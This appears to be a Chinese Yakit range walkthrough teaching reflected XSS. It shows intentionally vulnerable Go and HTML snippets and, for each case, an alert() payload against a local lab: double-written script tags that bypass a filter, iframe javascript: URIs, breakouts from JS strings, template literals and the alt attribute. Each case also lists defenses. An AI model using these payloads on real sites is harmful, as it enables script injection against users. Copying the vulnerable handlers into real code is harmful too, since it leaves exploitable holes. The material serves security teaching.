前言
新的一周,新的动力,靶场通关系列在本周迎来全新类型。在之前的文章里牛牛带领师傅们已经通关了SQL注入类型Yakit靶场通关教程|SQL注入篇(二),那么在本周开始新的打怪任务吧,靶场第二关:XSS跨站脚本攻击。
大家之前可能遇到过在浏览网站或者类似即时通讯软件时,弹出链接,出于好奇,点击链接后你的信息被窃取。这其实就是XSS攻击的简单流程。
它允许将恶意代码植入Web页面,当其他用户访问此页面时,植入的恶意代码就会在其他用户的客户端中执行。(概括讲就是攻击者能修改web网页的内容及功能,当受害者点击这个网页时,就能通过修改内容和功能达到攻击者的目的。在XSS攻击中,一般有三个角色参与:攻击者、目标服务器、受害者的浏览器。
案例分享及教学
安全实体转义
安全实体转义是将特殊字符转换成对应的HTML实体,从而防止浏览器将其解释为HTML标签或脚本代码。
常见的安全实体包括:
5类
1、< 转义为 <;
2、> 转义为 >;
3、& 转义为 &;
4、' 转义为';或 &apos;
5、" 转义为 ";
通过对用户输入进行安全实体转义,即使用户输入的内容中包含特殊字符或HTML标签,也会被转义为普通文本,而不会被当作代码执行。
直接拼接导致XSS注入
如果直接拼接用户输入而没有进行适当的处理,将导致XSS(跨站脚本攻击)注入的风险。XSS攻击是一种利用网页应用程序对用户输入数据的不当处理,从而在用户浏览器上执行恶意脚本的攻击。
示例代码
http://127.0.0.1:8787/xss/echo?name=admin
/*拼接后*/
<div>Hello admin</div>
此处的案例中后端代码直接将用户输入拼接后返回给浏览器,当插入html标签或javascript代码时浏览器将会执行。
攻击示例:
http://127.0.0.1:8787/xss/echo?name=<script>alert("Hello Yakit")</script>
/*构造拼接后*/
<div>Hello <script>alert("Hello Yakit")</script></div>
当攻击者提交此javascript代码时,浏览器将会执行代码,造成弹窗。
防御措施:
输入验证:对用户输入进行验证,只接受符合特定格式的数据。例如,如果需要一个整数,确保输入是整数类型,而不是字符串或其他类型的数据。
输出编码:在将用户输入输出到网页上之前,对其进行适当的编码,以确保所有特殊字符都被转义。这样可以防止恶意脚本的执行。
使用HTTP Only标志:对于cookie中的敏感信息,使用HttpOnly
标志,确保它们不会被JavaScript访问,从而减少XSS攻击的可能性。
内容安全策略(CSP):使用CSP头来限制网页中加载的资源,只允许从指定源加载内容,这有助于减少XSS攻击的成功率。
使用安全框架:使用安全框架和库来处理用户输入和输出,这些框架通常会自动处理XSS防护。
靶场演示:视频
不安全的过滤导致XSS
如果不安全地过滤输入,特别是对<script>
标签的不安全过滤,可能导致XSS(跨站脚本攻击)漏洞。XSS攻击是一种利用网页应用程序未正确过滤或转义用户输入的情况下,将恶意脚本注入到网页中并在用户浏览器上执行的攻击。
示例代码
func(writer http.ResponseWriter, request *http.Request) {
var name = request.URL.Query().Get("name")
scriptRegex := regexp.MustCompile("(?i)<script>")
name = scriptRegex.ReplaceAllString(name, "")
scriptEndRegex := regexp.MustCompile("(?i)</script>")
name = scriptEndRegex.ReplaceAllString(name, "")
writer.Write([]byte(fmt.Sprintf(`<html>Hello %v</html>`, name)))
攻击示例:
可以通过双写<script>
标签的方式来绕过,这样当<script>
标签被过滤掉,剩下的组合起来刚好形成一个完整的payload。
http://127.0.0.1:8787/xss/replace/nocase?name=<scr<script>ipt>alert("hello yakit")</scr</script>ipt>
#过滤后变成
<script>alert("Hello Yakit")</script>
利用iframe标签
http://127.0.0.1:8787/xss/replace/nocase?name=<iframe src="javascript:alert('Hello Yakit')">
防御措施:
要防止此类XSS攻击,不应仅仅对<script>
标签和</script>
标签进行过滤。正确的做法是对用户输入进行全面的输入验证和输出编码。具体措施如下:
输入验证:对用户输入进行验证,只接受符合特定格式和类型的数据。拒绝包含特殊字符或HTML标签的输入。
输出编码:在将用户输入显示在网页上之前,进行适当的输出编码,将特殊字符转换为对应的HTML实体,以防止恶意脚本的执行。可以使用合适的编码函数,如在Python中使用html.escape
。
CSP:使用内容安全策略(CSP)来限制网页中加载的资源,只允许从指定源加载内容,有助于减少XSS攻击的成功率。
靶场演示:视频
XSS: 存在于 JS 代码中(字符串中)
XSS(跨站脚本攻击)可以存在于JavaScript代码中,特别是在字符串中,如果这些字符串未经适当的处理,直接嵌入到网页中。攻击者可以通过注入恶意的JavaScript代码,将恶意脚本注入到页面中,从而在用户的浏览器中执行。
示例代码
此案例中从URL中获取name的传参到script标签中
<div>
Here are photo for U! <br>
<script>console.info("Hello" + '')</script>
</div>
攻击示例:
当用户利用拼接方式,可以将恶意代码传递到页面中执行
http://127.0.0.1:8787/xss/js/in-str?name=')</script><script>alert('Hello Yakit
<!--拼接后带代码如下 -->
<div>
Here are photo for U! <br>
<script>console.info("Hello" + '')</script>
<script>alert('Hello Yakit')</script>
</div>
未经处理的恶意代码就会被嵌入到JavaScript代码中,导致在用户的浏览器中执行恶意的弹窗脚本。
防御措施:
对于此类漏洞防御,具体措施如下:
输入验证:对用户输入进行验证,只接受符合特定格式和类型的数据。拒绝包含特殊字符或HTML标签的输入。
输出编码:在将用户输入显示在网页上之前,进行适当的输出编码,将特殊字符转换为对应的HTML实体,以防止恶意脚本的执行。
靶场演示:视频
XSS: 存在于 JS 代码中(字符串中 2)
此案例与前一个类似,但此处是变量值未经适当的处理,直接嵌入到网页中。攻击者可以通过在变量值中传入恶意的JavaScript代码,将恶意脚本注入到页面中,从而在用户的浏览器中执行。
示例代码
此处以get方式获取参数值,并赋值给name,正好又在<script>标签内
<div>
Here are photo for U! <br>
<script>
const name = "";
console.info("Hello" + `${name}`);
</script>
</div>
攻击示例:
尝试通过拼接来分割前后,从而执行想要的代码
<!-- 成功的拼接,注意末尾多了两个斜杠-->
http://test.com/xss/js/in-str2?name=test"</script><script>alert("Hello Yakit")//
<!--拼接后的代码-->
<div>Here are photo for U! <br>
<script>const name = "test"</script>
<script>alert("Hello Yakit") //";
console.info("Hello" + `${name}`);
</script>
</div>
在HTML中,//
是JavaScript代码中的注释符号。HTML本身并没有//
这个特殊的符号含义,但在HTML的<script>
标签中嵌入的JavaScript代码中,//
用于表示单行注释。任何位于//
之后的内容都会被视为注释,不会被JavaScript解释执行。
防御措施:
此处的问题任是直接将用户的输入带入到代码中,造成恶意代码的执行,对于此类漏洞防御,具体措施如下:
输入验证:对用户输入进行验证,只接受符合特定格式和类型的数据。拒绝包含特殊字符或HTML标签的输入。
输出编码:在将用户输入显示在网页上之前,进行适当的输出编码,将特殊字符转换为对应的HTML实体,以防止恶意脚本的执行。
靶场演示:视频
XSS: 存在于 JS 代码中(字符串模版中)
在JS代码中的字符串模版中,XSS漏洞发生在使用字符串模版(``符号)来动态构造HTML或JS代码时,而未对用户输入进行充分转义或过滤。这使得恶意用户可以通过注入恶意代码来执行任意JS代码,从而实施XSS攻击
示例代码
在示例代码中,字符串模版中的{{ .name }}
代表需要动态替换的用户输入。如果该输入未经适当的转义和验证,攻击者可以构造特制的输入,使之包含恶意的JavaScript代码。
<div>
Here are photo for U! <br>
<script>const name = "Admin";
console.info("Hello" + `+"`{{ .name }}: ${name}`"+`);
</script>
</div>
攻击示例:
通过在URL中构造特定的参数,攻击者可以注入恶意脚本代码,从而实现XSS攻击。例如,使用以下参数:
?name=`%2balert('XSS Attack!')%2b`
上述payload将在浏览器打开时,出现弹窗。
防御措施:
禁止直接插入用户输入:不要将用户输入直接插入到JavaScript代码中,尤其是字符串模版中。
安全编码实践:采用安全编码实践,避免将用户输入和动态内容插入到不受信任的上下文中。
靶场演示:视频
输出存在于HTML节点on...属性中
这是一个关于跨站脚本攻击(XSS)的漏洞案例,涉及到在HTML节点的onclick
属性中插入恶意脚本。
示例代码
在这个示例中,一个图片显示了一个onclick
属性,其值从用户提供的输入中获取。攻击者可以构造恶意的代码,使其在用户点击图片时执行。
<div>
Hello Visitor!
<br>
Here are photo for U! <br>
<img style='width: 100px' src="/static/logo.png" onclick='{{ .code }}'/>
</div>
攻击示例:
假设攻击者想要在受害者的浏览器上执行一个弹窗来显示“XSS Attack!”。攻击者可以构造如下的payload:
?code=alert("Hello Yakit")
当用户点击图片时,浏览器会执行onclick
属性中的JavaScript代码,导致弹窗显示“XSS Attack!”。
防御措施:
输入验证和过滤:在处理用户输入时,对输入进行严格验证和过滤,只允许预期的内容通过。可以使用白名单验证,只允许特定类型的输入通过,例如只允许数字或特定字符。
输出编码:在将用户输入输出到HTML页面时,对其进行HTML编码,以防止其中的HTML和JavaScript代码被解释执行。可以使用安全的输出方法,如使用textContent
而不是innerHTML
。
移除不必要的事件处理程序:避免在HTML节点的onclick
属性中直接插入用户输入。相反,尽量避免使用内联事件处理程序,可以在外部的JavaScript脚本中添加事件监听器。
使用模板引擎:如果你必须在HTML属性中包含动态内容,建议使用模板引擎,它们通常会自动对输出进行适当的编码,以防止XSS攻击。
靶场演示:视频
输出存在于HTML节点属性中
但是不再on属性中(IMG ALT)
本案例演示了一种XSS攻击方式,通过将恶意代码注入到HTML节点属性中(如IMG标签的ALT属性),但不在on属性中,从而绕过一些安全机制。
示例代码
以下是一个简化的示例代码,用于说明在HTML节点属性中利用XSS漏洞。
{
DefaultQuery: "value=visitor-name",
Path: "/attr/alt",
Title: "输出存在于HTML节点属性中,但是不再on属性中(IMG ALT)",
Handler: func(writer http.ResponseWriter, request *http.Request) {
unsafeTemplateRender(writer, request, `<!doctype html>
<html>
<head>
<title>Example DEMO</title>
<!-- ... 省略其他标签 ... -->
</head>
<body>
<div>
Hello Visitor!
<br>
Here are photo for U! <br>
<img style='width: 100px' alt='{{.value}}' src="/static/logo.png" onclick='javascript:alert("Welcome CLICK ME!")'/>
</div>
</body>
</html>`, map[string]any{
"value": LoadFromGetJSONParam(request, "json", "value"),
})
writer.Header().Set("Content-Type", "text/html")
},
RiskDetected: true,
}
攻击示例:
http://127.0.0.1:8787/xss/attr/alt?value=' onmouseover='alert("Hello Yakit")
<!--修改后的标签-->
<img style='width: 100px' alt='' onmouseover='alert("Hello Yakit")' src="/static/logo.png" .../>
在上述攻击示例中,攻击者通过在value
参数中注入' onmouseover='alert("Hello Yakit")
,将恶意代码嵌入到ALT属性中。当用户浏览到包含这个IMG标签的页面时,当鼠标悬停在图像上时,浏览器会执行嵌入的JavaScript代码,弹出一个弹窗。
防御措施:
要防范这种类型的漏洞,开发者需要对从用户输入获取的数据进行适当的转义和过滤,确保用户提供的内容不会被解释为HTML或JavaScript代码。这可以通过使用安全的HTML编码函数来实现。
靶场演示:视频
结尾
通过以上的案例教学,大家应该对XSS攻击有一定的认识,说白了就是在网页中嵌入客户端恶意脚本代码,当然牛牛这里再多唠一句:这些恶意代码一般是使用JavaScript语言编写的。所以如果想要深入学习并掌握XSS,JavaScript是必不可少的技能,JavaScript能做到什么效果,XSS的威力就有多大。
下周Yak靶场系列将继续XSS多场景教学,关注文末Yak project公众号,敬请期待~
Loading...
进阶1:输出存在于HTML节点属性中,但是不再on属性中(IMG ALT)
进阶2:输出存在于HTML节点属性中,但是不再on属性中(IMG ALT)
输出存在于HTML节点属性中,但是不再on属性中(IMG SRC)
输出存在于HTML节点属性中,但是不再on属性中(HREF)
输出存在于HTML节点on...属性中的部分代码属性
script标签的某些属性中
Cookie 中的 XSS
Cookie 中的 XSS(Base64)
Cookie 中的 XSS(Base64-JSON)
END
更新日志
Yaklang 1.2.8-sp1
1. 修复在某些情况下插件使用时CPU异常的BUG
2. 修复代理中包含认证时特殊字符处理的BUG
3. 增加OS库的文档
4. web fuzzer 生成URL的时候,可以渲染fuzztag
5. 修复一个潜在的 errors 处理的Bug
6. 优化XSS插件的一个小问题
7. 修复SSA静态分析中的一些问题
8. Web Fuzzer 可以直接使用 nuclei 风格的变量名代表当前数据包的变量;
9. 增加 math 库的文档
10. 修复 simulator 的一个跳转的 panic 情况
11. 开放重定向监测的插件中使用过滤后的参数
12. 增加 Git 标准库的文档
13. 新增一个HTTP请求走私行为的监测插件
14. 修复Socks5认证不工作的问题
15. YAML 导入导出的错误信息增加中文
Yakit v1.2.7-sp4
1. 优化插件调试交互
2. History数据包显示对应id,点击可跳转到数据包对应的数据
3. ChatCS改为流式输出,增加参数型prompt
4. 可保存多个过滤器配置
5. 漏洞通知优先显示中文标题
6. 为了防止挡住操作,牛牛可上下拖动
7. 修复WebFuzzer导出数据弹框的bug
YAK官方资源
Yak 语言官方教程:
https://yaklang.com/docs/intro/
Yakit 视频教程:
https://space.bilibili.com/437503777
Github下载地址:
https://github.com/yaklang/yakit
Yakit官网下载地址:
https://yaklang.com/
Yakit安装文档:
https://yaklang.com/products/download_and_install
Yakit使用文档:
https://yaklang.com/products/intro/
常见问题速查:
https://yaklang.com/products/FAQ